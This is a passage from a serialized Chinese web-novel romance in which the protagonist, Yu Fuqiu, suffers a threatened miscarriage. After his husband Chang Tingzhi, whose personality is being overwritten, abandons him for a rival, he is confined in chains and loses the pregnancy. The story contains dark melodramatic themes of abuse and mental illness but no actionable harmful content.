话音未落,他已攥着手机,转身大步朝着门口走去,步伐又快又急,门被他用力拉开,又“砰”一声重重摔上。
巨大的声响在空旷的客厅里回荡,震得散落在地上的碎纸屑微微颤动。
一切重归死寂。
只有黑屏的电视,依旧沉默地倒映着沙发上那个蜷缩起来的、单薄的身影。
余赋秋缓缓地、极其缓慢地抬起那只戴着冰冷戒指的手,轻轻、轻轻地覆盖在自己平坦的小腹上。
那里依旧安静,什么也感觉不到。
但他知道,有些东西,在刚才那通电话响起、长庭知毫不犹豫转身离去的瞬间,已经彻底死了。
比离婚协议书被撕碎时,死得更透,更冷。
雨,不知何时开始下了。
起初是细密的、几乎听不见的沙沙声,很快便转急,噼里啪啦地敲打在巨大的落地窗上,蜿蜒流下的水痕扭曲了窗外城市的灯火,将那些光亮晕染成一片片模糊的、冰冷的色块,像是隔着一个永远无法触及的世界。
“呃……”
一声极其压抑的,从深处挤出来的痛哼溢出唇边。
小腹处,毫无预兆地传来一阵尖锐的、拧绞般的剧痛,那痛感来得如此凶猛,像是有一只无形的手在他体内狠狠攥住了什么,然后残忍地撕扯、扭转。
“唔……!”
他疼得整个人都弓了起来,额头上瞬间沁出大颗大颗的冷汗,与未干的泪水混在一起糊了一脸。
他下意识地用手死死按住小腹,指尖深深陷进皮肉里,却无法缓解那越来越强烈的绞痛。
好痛……
喉咙深处涌上一股浓烈的、令人作呕的铁锈腥甜。
“咳……咳咳……”
他控制不住地呛咳起来,每一次咳嗽都牵动着腹部的剧痛,让他眼前阵阵发黑。
他挣扎着想撑起身体,想呼吸一口不那么窒闷的空气。
又是一阵更剧烈的呛咳。
“噗——!”
温热的液体猛地从口中喷涌而出,溅落在深灰色的地毯上,也溅落在他自己颤抖的手背上和被撕裂的衬衫上。
不是水,不是别的。
是刺目的、暗红色的血。
窗外的雨下得更大了,重重地冲刷着玻璃,发出剧烈的声响。
整个世界仿佛被浸泡在冰冷的水里,连带着他迅速流失的体温和生命力。
他徒劳地张了张嘴,想喊,却发不出任何声音,视线开始模糊,白色的灯光闪烁着无数细小的片段,又渐渐地黯淡了下去。
他的身体一点点冰冷了下去,比这雨夜更冷的是被他扔在地上那枚折射光的戒指。
他依旧止不住地往外吐着鲜血,他挣扎着想要拿着手机。
但视线最后一刻,看到的是被雨水冲刷一片模糊、遥远的万家灯火。
第65章 第65章[VIP]
冰冷的消毒水气味钻入鼻腔, 伴随着医疗机械运行时候单调轻微的嗡鸣。
余赋秋的意识像是沉在浑浊水底的碎片,费力地、一片片挣扎着拼凑起来。
眼皮沉重得如同灌了铅,余赋秋试了几次, 才勉强掀开一条缝隙, 视线里先是一片模糊刺眼的白,然后是悬挂在旁边的透明输液袋,淡黄色的药水正一滴一滴的流进他手背青色的血管里。
痛。
小腹深处传来阵阵的、持续的茫然痛感。
窗外是阴沉的天空, 光线惨白,透过百叶窗的缝隙,只留下一道道光影。
他安静地躺着, 看着天花板, 连呼吸都轻的几乎没有声音。
身体很沉,沉得像是要陷入病床里面, 沉入地底。
穿着白大褂的医生走了进来, 身后跟着一名护士,医生先是看了看检测仪器上的数据,又走到了床边,俯身观察余赋秋的神色。
“余先生,你醒了。”他的声音平稳, “感觉怎么样?腹部还疼吗?”
余赋秋的睫毛颤抖了一下, 视线转向医生, 没有说话,只是缓慢地摇了摇头。
“……我的孩子……还好吗?”
良久,余赋秋轻声问, 他的声音嘶哑, “还有,是谁送我过来的?”
医生记录数据的手顿了顿, “是你的手机,检测到你有危险,自动拨打了120,然后我们根据你手机的定位找到了你。”
“孩子是先兆流产,现在先好好养着,你情绪波动太大了,还有,余先生,我们需要向你了解一些信息,做了血常规后,我们在你们的血液样本里面,检测到了一些……不常见的药物成分。”
他顿了一下,似乎在斟酌更委婉的说法,但最终还是选择了直接:“你是不是在吃XX药?”
余赋秋眉心一跳,他吃的这个药很隐蔽,甚至在药瓶的身上把原本的药物给撕了下来,贴上了维生素C。
原因无他——
他患有严重的精神病。
当初他被母亲的家人丢弃在精神病院,就是因为他被鉴定和他父亲一样的病情。
他的骨子里到底留着的……
还是那种人渣的血。
怎么样也洗不掉。
他的病情到后期越来越严重了。
甚至半夜看着沉睡的长春春,他也会幻视是要他命的恶魔。
他的手颤巍巍地放在长春春的脖子上,脑海中一直有一道声音,告诉他,“掐下去……”
“对,就是那里……把手放上去……”
“轻轻一用力,你就解脱了……”
“这个要你命的小恶魔,这个时时刻刻提醒你罪孽的小东西……消失了,你就干净了……”
“你再也不用活在这种罪恶的世界里了……再也不用每一天,都背负着这洗不掉的肮脏血液,战战兢兢地害怕自己变成下一个他……”
“掐下去……你就自由了……从这无尽的折磨里……自由了……”
近到能感受到孩子肌肤传来的、温热的生命力。
那温暖,像火焰,灼烧着他冰凉的指尖。
脑海里的声音在尖叫,在催促,在狂欢。
“对!对!就是这样!用力!掐下去!”
“偿还你的罪孽!结束这一切!”
睡梦中的长春春呼吸困难,脸色逐渐变得青紫,纤细的脖子只要在用力一点,就会彻底断掉。
就在这时候,长庭知发现了他的异样,他什么也没说,只是紧紧地抱住了余赋秋,安抚地说:“我在,我在……”
从那一刻起,余赋秋再也不离药了。
只是没有任何人知道他在吃药。
“……是。”余赋秋滚动了一下喉头,“这个药……有问题吗?”
“它单独服用倒是没有太多的问题,只是这个药和您吃的其他药配合起来,指向性比较明确,通常用于……终止早期妊娠,也就是我们常说的流产药物。”
病房里的空气,仿佛被瞬间抽空了。
余赋秋的瞳孔骤缩了一下,咬着唇,抓着被角的指尖蜷缩了起来。
医生继续问道:“余先生,您仔细回想一下,最近有没有服用过特别的药物,或者是吃什么……不太明确的东西?”
别人给的。
来源不明。
这几个字,像是生锈的钥匙,拧开了被他刻意忽略的盒子。
药片。
白色的,小小的。
是左成双交给他的。
告诉他这是长庭知找来的,让他一定要吃。
那个药。
是什么?
“还有……”医生拿出了他的报告:“你的心脏,出了一些问题,我们认定,以您目前的身体情况,并不适合妊娠,如果再放任不管,最坏的结果就是心力衰竭,所以……需要您和您的爱人商量一下。”
他穿越的这个世界,由于人口太过于稀少,打胎不能自己做主,而需要伴侣的签字才可以将孩子打掉。
长庭知将前面的离婚协议书给撕掉了,所以长庭知名义上还是他的丈夫。
他艰涩地动了动嘴:“……就一定要打掉吗?”
医生怜悯地望着他:“按照这上面的数据来看,您的身体……怕是坚持不到孩子出生了,给您带来的,只是更多的负担。”
死寂。
负担。
这两个字,在他的脑海里反复碰撞着,回响,撞出嗡嗡的鸣音,他试图去理解,去消化,却只是摸到一片刺骨的冷。
手无意识地挪到小腹,那里依旧平坦、安静,什么都感觉不到。
可那里有一个鲜活的小生命,经历了这么多风险,却依然顽强地生存在他的肚子里面。
他该恨吗?
恨这个世界残酷的安排?恨这具不争气的身体,还是恨这个荒谬透顶的命运?
他不知道。
眼前一阵阵发黑,耳朵里全是自己沉重而缓慢的心跳。
窗外依旧在阴沉着下着雨,淅淅沥沥的。
余赋秋的身影似乎要隐没在无边的黑暗之中,他神色空荡,任由黑暗将自己吞噬,将自己拖入无边无际的深海之中,淹没,窒息。
他没有一丝一毫的挣扎。
这时候,门被猛地推开。
长庭知出现在门口,呼吸急促,身上还带着外面雨夜的湿冷寒气。
他的头发微乱,神情急促,雨水顺着他的发梢和西装外套边缘,滴滴答答地落下,在光洁的地板上氤氲开一小片深色的水渍。
走廊惨白的灯光衬得他的脸色是一种异样、紧绷的苍白,他神情焦灼,眼神明亮得有些不正常。
他快步走进病房,几乎是脱力般,甩下外套,将坐在床上的余赋秋抱进自己的怀中,像是要将他融入自己的骨血。
“球球……”
他的声音嘶哑地呼唤出这个名字,带着自己都未察觉的颤抖,喉咙干涩得发痛,他醒来之后,马不停蹄的,接到了消息,跑到了医院里面。
他能感觉到,那股冰冷的,不属于自己的意识,正在割裂着他的神经,正在从识海深处苏醒,疯狂地冲击着他勉强维持的清醒。
太阳穴突突地跳着,视线边缘开始出现细微的、水波纹般的扭曲。
时间,真的不多了。
他以为自己接受了左成双的治疗,就可以彻底去抹除另一个人格。
一开始的效果是好的,虽然他还是只能在晚上出现,但是一开始从陪伴的八个小时变到了十个小时,变到了十一个小时。
但是自从柯祈安越来越频繁地出现在他的身边。
他发现自己的时间变得越来越短了。
一切又朝着恶化的方向走。
梦中的那道声音在嘲笑着他,讥讽他:“挣扎什么,你的挣扎都是徒劳的,你和余赋秋一样,都是多出来干扰出来世界的Bug,马上要处理好他,接下来,就是你了。”
什么角处理好他?
余赋秋怎么了?
他的意识像是被困在一处漆黑的牢笼里面,什么也不知道,什么也干不了。
在那个无边无际的黑暗里面,他只能漂浮在虚空之间,他硬生生地将自己的手剖开自己的胸膛,在剧烈疼痛之中挖开了自己的心。
也就是这个举动,让他短暂地回到了自己的身体,掌握了自己身体的主动权。
但是已经晚了。
一切都晚了。
他忽然明白了剧情说的处理好余赋秋是什么意思。
但是这个时候,余赋秋说要和他离婚。
他说他已经不知道怎么爱下去了。
怎么可以呢?
不行的。
他都在努力。
余赋秋为什么就要先放弃他了?
当初将他从深渊救出来的,不就是他吗?
既然余赋秋选择了他,那就没有放手的余地。
他们生来就是生生世世要纠缠在一起的。
在长庭知发现了先前的bug,只要他接触柯祈安,按照剧情走,他留在这个身体的时间就会长一点。
按照剧情来说,他应该去走柯祈安的事情,但是他后悔了,他想要立刻去见余赋秋。
所以他去了余赋秋的家里。
就在他们坦白之际——
那股意识又开始苏醒了。
他这次在身体呆不足三个小时!
所以为了延长更多和余赋秋的时间,他选择抛下余赋秋,去救赎柯祈安。
“我……”
他张口想要说什么,但喉咙似乎被人堵住了,什么话也说不出来,一个字也挤不出来。
他的目光贪婪着、近乎绝望地看着余赋秋。
他闭了闭眼,再睁开眼,眼底翻涌的痛苦几乎要溢满出来。
他从西装内袋里掏出一样东西,是一个小小的,边缘有些磨损的丝绒盒子。
那是很多年前,他们那对婚戒的旧盒子。
他颤抖着手,将盒子轻轻地放了床边,脸贴近余赋秋的脖子,感受着上面的温度,盒子的丝绒表面,还残留着他掌心的湿气和微弱的体温。
“……对不起。”
他终于吐出了三个字,声音低的如同叹息,破碎不堪,却用尽了此刻独属‘长庭知’所能凝聚的全部力气和情感。
一直僵硬着不动,仿佛一座雕塑的余赋秋,眨了眨眼睛。
他感受到脖子间温热的泪水。
心底却涌上一股生理性的厌恶。
他猛地推开了长庭知,反手用力地打了长庭知一巴掌。
那双眼眸没有泪,只是空洞的死寂,他抓起那个盒子,用力地砸向了长庭知,尖锐的盒子砸到了他的额角,鲜血顺着长庭知的鬓角留下。
“长庭知。”
他每个字都吐得异常缓慢,带着一种筋疲力尽后的死寂。
“你到底,想要怎么样?”
余赋秋看着他脸上的神情,嘴角极其轻微地扯动了一下,那不是一个笑,而是一个极度荒凉的弧度。
“我真的……不知道要怎么面对你了。”
他的声音里终于渗出了一丝极其细微的禅位,那是强撑的平静下,无法掩盖的裂痕。
“我不知道,我要怎么继续去爱你了。”
爱这个字眼,说出来,却带着无数的疲倦和血淋淋的嘶吼。
“我一个人……太久太久了。”
“我本来以为,本来以为……”他的呼吸急促起来,破碎的语句连不成串,“我以为,晚上的你还在我的身边,是我的,是我的庭知,是我的小树,是需要我的,是爱我的。”
“我靠着这一点点,一点点仅存的温度,欺骗自己,还可以,还可以继续支撑下去。”
泪水无声地滑落,滑入他的鬓角。
“可是昨晚。”
“昨晚……你还是抛下了我。”
“你是我的庭知,却还是选择了他,去转身,去见他,去拥抱他。”
他抬手捂着自己的胸口,那是他心口的位置。
“我曾经无数次问你,你会不会抛下我。”
“你都告诉我,你说你不会,你说你永远不会!”
“可是你食言了。”
“这里……”他喃喃着,眼神涣散:“我所有的信仰……支撑着我活下去的,最后一点念想,就在你抛下我的那一瞬间,全都崩塌了。”
“春春还在医院昏迷不醒,他才那么小,他做错了什么?”泪水夺眶而出,他几乎语不成调,“我的事业,我仅剩的,能证明自己是个独立的人的东西,也全都毁了。”
他的目光重新聚焦,死死地凝视着长庭知那张脸,“现在,连你……连我仅剩的,可以倚靠的你,也要被剥夺了吗?”
“长庭知。”
余赋秋轻声地喊着长庭知的名字,“你告诉我……”
“我到底要怎么做,我才能活下去。”
“我才能……重新回到以前呢?”
最后一个字落下,病房里死寂的可怕,只有检测仪器规律的滴答声,和窗外愈发狂暴的雨声,在回荡着。
长庭知僵硬着维持着姿势,脸上血色尽失,余赋秋的每一句话,都像是一把钝刀,在他的心上反复的切割着。
他想要解释一切,可是他根本张不开嘴,说不出一句话。
他能感觉到,体内的浪潮已经冲到了顶点。
留给他的时间真的不多了。
他想要伸手去擦掉他的眼泪,想要紧紧地抱住他,想要告诉他,不是这样的,不是这样的。
他还想陪着余赋秋很久很久,他们会在一起一辈子。
他没有食言,他也没有抛下余赋秋。
他怎么会抛弃余赋秋呢?
只要余赋秋不要离开他,他会献上自己的一切,哪怕是生命。
他的神色在不停的变化,巨大的不安在余赋秋的心中蔓延。
他伸手想要去抓长庭知的衣角,嘴唇颤抖着,声音虚弱得几乎听不见,“庭知……”
他想起了医生的话,他的时间或许不久了。
就在这个时候,电话如同催命铃响起。
“庭知——”
柯祈安带着哭腔和极端情绪的尖叫,穿透雨声,刺破病房的死寂。
“这里好黑,也很高,也很冷。”
他轻笑着说,背景是呼啸的风声和密集的雨声。
“我是为你而活的,长庭知,我是为了你才存在的,我才是你的命定爱人,我才是你的主角受,我们是为了彼此创造出来的,没有你,我活着还有什么意思?”
“我们或许是一体的,如果我死了,你还会独活吗?”
后面那一句被莫大的雨声盖过了。
余赋秋听不到柯祈安后面说了什么,但是却能感觉长庭知神色猛然一变,巨大的恐慌铺天盖地地朝着余赋秋席卷而来。
余赋秋的手臂瘦的惊人,皮肤下的青色血管清晰可见,指尖因为寒冷和恐惧而止不住的颤抖。
他像是溺水者抓住了最后一个浮木,用尽全部的力气去攥住长庭知的衣袖。
“别走,求求你……别走。”
泪水模糊了视线,他看不清长庭知的表情,但心底有种声音告诉他,如果他放走了长庭知,那么长庭知就再也回不来了。
“我好疼,庭知,我害怕……别丢下我一个人……求你。”
他的声音破碎嘶哑,带着泣血的哀求和无法掩饰的惊惶。
长庭知的身体剧烈地颤抖了一下。
他的眼前一阵阵的黑暗,大脑剧烈地头疼。
他知道自己的时间已经不多了。
他嘴唇锡动着,似乎想说什么,想回应余赋秋的哀求。
但他只是闭上了眼睛,然后慢慢地,把余赋秋的手指一根根地拽开。
他转过头,最后看了一眼余赋秋。
似乎要将爱人的模样永远铭记下来,刻印在灵魂深处,永远地刻印在血肉之中。
他笑着,对着余赋秋说:“球球,照顾好自己和春春。”
他转过身,步伐平稳得近乎诡异,径直走向门口,拉开门,走了出去。
门,在他身后轻轻合上。
将病房里死一般的寂静,和床上那个仿佛灵魂也被一同带走的身影,彻底隔绝。
余赋秋依旧睁着眼,望着天花板。
“球球……”
那声嘶哑的、温柔的呼唤,还在冰冷的空气里,极其微弱地回荡。
像一场,永远也醒不过来的,最残忍的梦境。
作者有话说:
下章跑咯啦啦啦啦啦
第66章 第66章【追妻部分开始】[VIP]
“……多久了?”
余赋秋坐着起来, 眼前漆黑一片,四肢上冰冷锁链的触感,在漆黑的屋子里面分外的有存在感。
他被锁了起来。
余赋秋想。
……
在医院过后, 长庭知救下了想要轻生的柯祈安。
在途径他病房, 余赋秋呆坐在床上,和长庭知对上视线的一瞬间,他就明白了。
他的长庭知, 再也回不来了。
此刻,夜晚只过了一半的时间,但他的长庭知已经消失在这个世界上了。
余赋秋的心脏像是空落落地被剜去一大块, 生疼, 但他却仿佛没有了知觉,只知道看着鲜血淋漓的伤口发呆。
也许是药物的副作用, 也许是病情的加重, 也许是他精神上的麻木,他的大脑思考的速度越来越慢了,他接收到外界的东西也越来越麻木了。
他就这么坐了一整夜,长庭知找到了他。
他的脸上没有愧疚、没有关切,什么都没有, 只有一片令人窒息的漠然和冰冷。
他走了进来, 皮鞋踩在地板上, 发出清晰而冷淡的声响,“小安醒了。”
“如果不是你,他就不会去跳楼, 更不会左腿骨折, 多出软组织损伤,惊吓过度, 现在的他,精神不稳定。”
余赋秋仰头看着,空洞的眼睛映不出的情绪。
长庭知微微蹙了下眉头,道:“所有的真相,我都知道了。”
“是你偷走了本该属于小安的一切,你夺走了本应该属于我和他之间的记忆。”他继续说道,声音冷的像是冰碴子,“所以,你也要付出代价。”
“‘他’的代价是已经消失了,而你,十五年的时间,你要赎罪。”
“赎罪?……”
余赋秋的大脑缓慢地思考了很久,才消化了长庭知说的每一句话,“如果不是我,你可能已经死在那里了,你是在……怪我?”
“如果不是你,这副身体根本不用受这么多苦,谁愿意放弃一个优越的条件去跟着吃苦?”
“听小安说,你带着‘他’睡二十人的大通铺,在垃圾堆里捡东西吃,还差点让他被流浪汉猥亵,如果你当初没有贪心伸出多余的手,或许我早就会出来,会更快的建立属于我的商业世界,而不是现在一步一步,我都必须要自己白手起家。”
余赋秋的睫毛及不可察地颤动了一下,“……我没有少你吃,也没有少你穿,更是努力攒钱将你送到最好的学校,我已经竭尽我的全力了,我……”
“那你有考虑过我的感受吗?”
长庭知的声音让余赋秋顿住了,“你甚至都没问过他的意见,擅自将他带走,我还是那句话,你这种可笑廉价的自我感动到底要到什么时候?!”
余赋秋的指尖微微蜷缩了起来,他抿着唇,垂下眉眼,没有说话。
“小安变成如今这样,有你的一份,他现在的情况,离不开人。”
“他也是因为我……才走到了这一步。”
“所以,”他宣告,声音里没有一丝一毫的商量余地:“你要照顾好他。”
“在春月小区这个地方。”
“春月小区?”余赋秋猛然抬头,“他配吗?!”
“那是我的房子,那是,那是他和我一起的房子,你,你有什么资格!”
“你不许碰它,你没有资格,你不是他……”余赋秋双眸含泪,想要伸手去抢长庭知手中的钥匙,但只是一瞬,他被长庭知狠狠桎梏在了墙面之间。
“呜——”
细碎的呜咽从余赋秋的喉间迸发出来,长庭知低头,狠狠咬在了他的脖子一侧。
“他已经死了,已经彻底消散在这个世界上了,你们的那一点点小把戏我能不知道吗?”
“所以你看清楚,现在是我,是我!”
长庭知眼睛猩红,狠狠掐着余赋秋的下巴,强迫他抬起头,看着自己。
眸中倒影着长庭知的面容,只是神色全是余赋秋陌生的。
“你没得选!”
余赋秋脸色苍白,睫毛如同蝶翼般一眨一眨,像是一只破碎的蝴蝶,下一秒就会焚烧殆尽。
他的眸色沉沉,喉头滚动了一下,用力地碾压着淡粉色的唇,“孩子我也会一起接过去,你要做的,就是照顾好他,其他的,什么也不要想。”
……
他被强迫带来了他和长庭知生活了七八年的家。
但在他进入房子的一瞬间,一切,全都变了。
那棵他和长庭知结婚那年亲手种下的,总是开的漂亮的西府海棠不见了。
在海棠树下,那个他经常坐着晒太阳,看书的旧藤椅,也没有了,只放着一套崭新的白色桌椅。
甚至,角落里他悉心照顾了好几年,总是爬满角落的蔷薇,连根都不见了。
整个院子,没有一丝生气,像是一副被强行涂抹掉的色彩,变得暗淡无光。
余赋秋张了张嘴,想要发出声音,但是喉咙却像是被粗糙的砂纸堵住,只能发出破碎的气音。
客厅里,他们一直没舍得换的软色沙发也已经消失了,玄关处,原本摆满了他们旅行时候带回来的小纪念品——海边捡的奇形怪状的石头,古镇买的手工陶瓷,异国街头艺人给他们画的情侣肖像速写……
全都不见了。
他被带去了主卧的门口。
他曾经睡了七八年的房间。
有他最熟悉的窗帘花纹,有他半夜醒来一伸手就能碰到的床头灯开关,有衣帽间里混合着两人气息的衣物,有浴室镜子上他恶作剧留下的、早已干涸褪色的唇印……
现在,门开着。
里面是全然陌生的景象,连空气里的味道,都变成了一种甜腻而具有侵略性的、属于柯祈安的香水味。
所有的一切。
所有那些承载了他们点点滴滴、琐碎却真实幸福的小物品、挂件、痕迹……
他们一起拼好、摆了很久的拼图相框;他生病时,长庭知笨手笨脚折的、歪歪扭扭的纸鹤;吵架后,长庭知偷偷放在他枕头下的、写着别扭道歉语的便签;甚至可能只是某个午后,阳光透过窗户,在旧地板上投下的、他曾经觉得无比温暖的光斑位置……
全都没了。
他转头,紧抓着管家的手,“东西呢……我,我的东西呢?!”
管家被他抓的手生疼,看着眼前这个脸色惨白、眼神破碎的年轻人,眼底掠过一丝怜悯,他轻叹了口气:“余先生,您别激动……”
“这里……柯先生不太喜欢原先的风格,长先生吩咐……全都换掉。”
“去,去哪里了?!”
管家动了动喉头,几乎不忍心说出这个话,“扔,扔去城西的垃圾场了。”
中年管家本以为面前这个漂亮的年轻人会崩溃大哭,会去质问长先生,会去撒泼打滚……
但他没有,他只是很轻微地颤抖了一下身体,然后沉默了下来。
管家不敢多想,他把年轻人引到了隔壁的次卧,这里离主卧的距离刚好,可以及时地照顾柯先生。
如此,他的任务便完成了。
……
余赋秋本该是自由的,但他为了所谓赎罪的名头,被困在房间里。
他住着次卧,窗户对着后院那扇光秃秃的墙,终日见不得阳光。
柯祈安搬了进来。
起初是言语上的刺探和炫耀。
“这窗帘的颜色,庭知说衬我肤色,特意从意大利定制的呢。”
“你以前就住这间?啧,采光真差,难怪你脸色这么难看。庭知早就该让我搬进来了。”
余赋秋只是沉默,像一尊雕像,眼神空洞地望着虚空,或脚下冰冷的地砖。
他的沉默似乎激怒了柯祈安。
有时候他的饭菜会“不小心”打翻,汤汁淋湿他仅有的几件衣服。
他的房间里会莫名其妙出现死掉的昆虫,或是一小滩来历不明的污渍。
柯祈安甚至会当着他的面,指挥佣人搬动家具,抱怨“这里还有那个人的晦气”,要求用消毒水反复擦拭。
余赋秋依旧不声不响,默默承受。
他像是封闭了所有感官,活在一個只有冰冷和寂静的壳里。
变故发生在一个沉闷的午后。
柯祈安似乎是厌烦了独角戏,他故意在楼梯口拦住端着水杯准备回房的余赋秋。
“让开。”余赋秋的声音干涩,低得几乎听不见。
柯祈安却笑了,“让开?”
“你现在是要照顾我的人,是我的仆人,我怎么使唤你,都不过分吧?”
“嗯?余老师?”
“庭知为了我受伤的事情,人都瘦了一圈。”
“他抱着我的时候,可心疼了,比当初对你,紧张多了。”
余赋秋没有动作,只是垂眸看着自己的水杯。
“听说,长春春醒来了。”
余赋秋听到这句话的时候,头猛地抬了起来,对上的却是那双充斥着恶意的双眼,“但你猜,你生的这个野种是什么下场?”
他轻笑了一声,指了指大脑:“不仅仅变成了一个残废,还变成了一个智障呢。”
“你骗人!”
余赋秋眼底布满了猩红的血丝,像是一直沉寂的死水被投入巨石,猛然掀起惊涛骇浪。
他拿着杯子的手在剧烈的颤抖,他已经握不住杯子了,病情严重到既便是在安静的情况下,手还是会不自觉的发抖着。
“当然,等那个傻子回来,你自己看不就知道了?”
“不过——”
柯祈安忽然凑近了余赋秋,将他手中的杯子打翻在地上。
余赋秋下意识的要去拿,从背后的视角看,就是他朝着柯祈安的衣服挥去。
柯祈安像是早就在等待这一刻。
在余赋秋的手刚刚碰到他衣服的瞬间,他脸上笑容瞬间转化为极致的惊恐和脆弱,口中发出一声尖叫:“啊——”
他整个人如同断了线的风筝,朝着身后的楼梯倒栽下去。
但在倒下的那一刹那,他伸出的手,却用尽了全力,死死抓住了余赋秋那只挥出的手臂,猛地向下一拽。
“唔——!”
余赋秋根本来不及反应,巨大的拉扯力传来,他本就站立不稳,被这股力量带着,也一同朝着楼梯翻滚下去!
“砰!咚!哐当——!”
身体撞击木质楼梯的闷响,滚落的碰撞声,柯祈安持续不断的、惊恐痛苦的尖叫,混杂在一起,在空旷的房间里激起回音。
一切发生得太快,从争执到两人滚落楼梯,不过几秒时间。
当余赋秋天旋地转地摔在楼梯转角平台,浑身骨头像是散了架般剧痛时,他模糊的视线里,看到柯祈安躺在下面几级台阶上,捂着脚踝,脸色苍白,泪流满面,正发出痛苦而压抑的抽泣声。
脚步声,急促而沉重,从楼上传来。
长庭知几乎是冲下来的。
他显然是听到了动静,目光先是一扫地上情形,随即死死定格在余赋秋身上。
“余赋秋!你干了什么?!”
他甚至没有先去查看柯祈安的具体伤势,就朝着余赋秋厉声质问。
余赋秋躺在冰冷的木地板上,浑身疼痛,耳朵嗡嗡作响,长庭知的责骂像隔着一层厚厚的水传来,模糊而不真实。
他想辩解,想说不是那样,想说柯祈安是故意的……可张了张嘴,却发不出任何声音。
只有心脏,在胸腔里疯狂地、钝痛地跳动着。
长庭知已经不再看他。
他迅速蹲下身,小心翼翼地查看柯祈安的脚踝,动作温柔得不可思议。
“小安?伤到哪里了?别怕,我看看……”他的声音是余赋秋从未听过的,带着疼惜的急切。
柯祈安立刻抓住他的衣袖,泪水涟涟,声音哽咽破碎:“庭知……我好疼……脚好像扭到了……我、我只是想跟他好好说话,让他别总是阴沉沉的……他就突然推我……我……”
“我知道,我知道,别说了。”长庭知打断他,他直接将柯祈安打横抱了起来,动作稳当而充满保护欲。
柯祈安顺势将脸埋进他颈窝,发出细微的啜泣。
长庭知抱着他,转身,目光再次掠过瘫在地上的余赋秋。
“你最好祈祷他没事。”长庭知的声音淬着冰,“否则,余赋秋,我不会放过你。”
说完,他不再停留,抱着低声啜泣的柯祈安,大步流星地朝着门口走去。
余赋秋躺在原地,看着他毫不犹豫转身离去的背影,看着他怀里那个被精心呵护的身影,看着他消失在门口明亮的逆光里,连影子都被迅速拉走,不留一丝痕迹。
世界,仿佛在这一刻被按下了静音键。
所有的疼痛,所有的声音,所有的色彩,都在急速褪去。
只剩下那个决绝的、抱着别人离开的背影,深深烙进他空洞的眼瞳里。
不知过了多久,也许只是一瞬,也许是永恒。
一阵比以往任何一次都要汹涌猛烈的、撕裂般的剧痛,猝然从小腹深处炸开。
“呃——!”
他猛地弓起身体,蜷缩成一团,喉咙里溢出痛苦至极的闷哼。
那痛感来得如此迅猛,如此尖锐,像是有一把烧红的烙铁在他体内最柔软的地方狠狠搅动,要将什么生生剜出去。
温热的、粘稠的液体,不受控制地、汹涌地从腿间涌出。
他下意识地伸手去捂,掌心瞬间被一片滚烫的濡湿浸透。
他低下头,颤抖着,看向自己身下。
米色的长裤.裆部,已经被暗红色浸透。
那红色还在不断扩大,蔓延,顺着裤腿往下流淌,在身下地毯上,洇开一大片……触目惊心的、粘稠的、温热的……
鲜血。
一大片。
……
他醒来的时候,长庭知坐在他的身边,他的双手双脚已经被铁链锁了起来,长庭知神色平静,坐在他的床边静静地看着他。
“孩子,没保住。”
长庭知说了一句,“医生说你情绪不稳,有自毁和攻击倾向。”
他的视线落在那副冰冷的镣铐上,又移回余赋秋脸上,“楼梯的事,不能再发生。为了防止你再去伤害小安,”他顿了顿,语气没有丝毫变化,“……和伤害你自己。”
“我只能这么做了。”
余赋秋低垂着脑袋,他摸着自己的腹部。
那个在血泊中流失的,是真的。
是他的孩子。
他拼了命想要留住的孩子,最后却什么也没剩下。
他的耳朵里嗡嗡作响,长庭知的声音忽远忽近,每一个字都听清了,却又好像完全没听懂。
伤害柯祈安?
伤害……自己?
所以,锁起来。
像锁住一条会咬人、也会伤害自己的……疯狗。
原来,在他失去了孩子,流干了血,从生死边缘爬回来之后,得到的不是半分怜惜或追问,不是对真相的探究,而是……一副镣铐。
余赋秋的头,慢慢地、极其缓慢地,低垂了下去。
他不再看长庭知,也不再看那副锁住自己的刑具。
他的目光落在自己盖着的被子上,落在自己那双被铐住、显得异常苍白脆弱的手腕上。
没有哭。
没有闹。
甚至没有一丝一毫多余的表情。
他像一尊瞬间被抽走了最后一丝灵魂的、精致的、易碎的瓷器人偶。
长庭知静静地看着他低垂的头颅和那截脆弱的脖颈,他站起身,整理了一下并无褶皱的衣襟。
“你好好休息,春春下午就回来了。”
“孩子…”他停顿了下,“还会有的。”
说完,他不再停留,转身走出了卧室,并轻轻带上了门。
落锁的声音很轻,却清晰地传入了余赋秋的耳中。
“咔哒。”
又是一道锁。
房间里彻底安静下来。
只有他腕间脚踝的铁链,随着他无意识的、极其微弱的颤抖,发出细碎而冰冷的碰撞声。
外面过了多久。
余赋秋不知道。
他的意识昏昏沉沉,像是沉浮在一艘波涛汹涌的小船上。
他好像经历了一场噩梦,浑身的体温高的可怕。
等他勉强可以呼吸上来的时候。
卧室的门被轻轻推开。
进来的不是长庭知,也不是佣人。
是一个小小的、穿着干净衣服的身影。
是长春春。
余赋秋死寂的眼眸,在触及那个小小的身影时,几不可察地波动了一下。
春春……他的春春。
他挣扎着想坐起来,铁链哗啦作响。
他想伸出手,想摸摸孩子的小脸,想问问他还疼不疼,怕不怕……
然而,长春春坐在轮椅上,在门口,并没有像以前那样,像只欢快的小鸟扑进他的怀里。
他小小的脸上,表情有些呆滞,眼神不如从前灵动,带着一种大病初愈后的、怯生生的茫然。
他好奇地看着床上被锁住的人,又看了看房间里陌生的布置。
就在这时,门口光影一暗。
柯祈安走了进来。
他脸上带着温柔和煦的笑容,手里还拿着一个色彩鲜艳的玩具小车。
他很自然地走到长春春身边,弯下腰,柔声说:“春春,看,我在这里哦。”
长春春仰头看了看柯祈安,又看了看床上形容枯槁、被铁链锁住的余赋秋。
他小小的眉头困惑地皱起,似乎无法理解眼前的情景。
但在柯祈安鼓励的目光和手中玩具的吸引下,他犹豫着,朝柯祈安的方向,微微挪了一小步,嘴唇动了动,发出一个含糊不清的音节。
柯祈安脸上的笑容加深了,他满意地摸了摸春春的头,然后牵起孩子的小手,似乎想带他走近床边。
“春春,我们去看看那边,跟那个人也打个招呼好不好?”柯祈安的声音依旧温柔,带着诱哄。
随着他们的靠近,余赋秋的心跳越来越快,几乎要撞出胸腔。
他看着那张日思夜想的小脸,看着孩子眼中陌生的迟疑,看着柯祈安那只牵着孩子的手……他多想抱抱他,亲亲他,告诉他妈妈在这里……
他忍不住,朝着孩子的方向,极其轻微地、充满渴望地,伸出了被铐住的手。
尽管铁链限制了他的动作,那只手只能徒劳地向前伸出一点点。
“春春……”他干裂的嘴唇翕动,发出嘶哑得几乎听不见的声音。
然而,就在他的手微微抬起,目光与长春春对上的一刹那——
长春春像是突然被什么可怕的东西惊吓到,小小的身体猛地一僵,随即爆发出尖利刺耳的、充满恐惧的哭声!
